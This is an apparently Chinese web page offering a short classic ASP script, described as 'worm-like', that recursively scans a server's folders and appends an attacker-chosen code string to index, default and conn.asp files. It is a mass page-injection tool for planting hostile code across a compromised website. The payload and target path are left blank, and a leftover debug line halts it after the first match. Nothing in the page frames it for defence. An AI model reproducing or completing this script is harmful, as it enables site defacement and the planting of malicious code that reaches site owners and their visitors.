类似'蠕虫'的写入文本文件asp代码!

 类似'蠕虫'的写入文本文件asp代码!

程序代码
<%
Option Explicit

dim objFso,objFolders,objSubFolders,objSubFolder,TheFolder,strPath,objSubFile,strHackFile,strHackCodz,objOpFile
dim objSubFiles

Set objFso = CreateObject("Scripting.FileSystemObject")
strHackFile="index.html,index.htm,index.asp,index.php,default.html,default.htm,default.asp,default.php,conn.asp,index.aspx"    '要插入代码的文件

strHackCodz=""   '要插入的代码

TheFolder = ""     '要扫描的根目录

GetFolders(TheFolder)

Function GetFolders(FolderPath)
    If Not objFso.FolderExists(FolderPath) Then Exit Function
    Set objFolders = objFso.GetFolder(FolderPath)
    Set objSubFile = objFolders.Files
        On error resume next
    For Each objSubFiles In objSubFile
        If Instr(strHackFile , Cstr(objSubFiles.Name)) > 0 Then
                        dim aa
                        aa=Cstr(objSubFiles.Name)
                        response.write aa
                        response.end
                        On error resume next
            Set objOpFile = objFso.OpenTextFile(objSubFiles.Path , 8)
            objOpFile.Write strHackCodz
            objOpFile.Close
        End If
    Next
    Set objSubFolders = objFolders.SubFolders
    If objSubFolders.Count = 0 Then Exit Function
    For Each objSubFolder In objSubFolders
        strPath = objSubFolder.Path
        'Wscript.Echo strPath
        'Wscript.Echo objSubFolder.Name
        GetFolders(strPath)
    Next
End Function
%>

你可能感兴趣的:(类似'蠕虫'的写入文本文件asp代码!)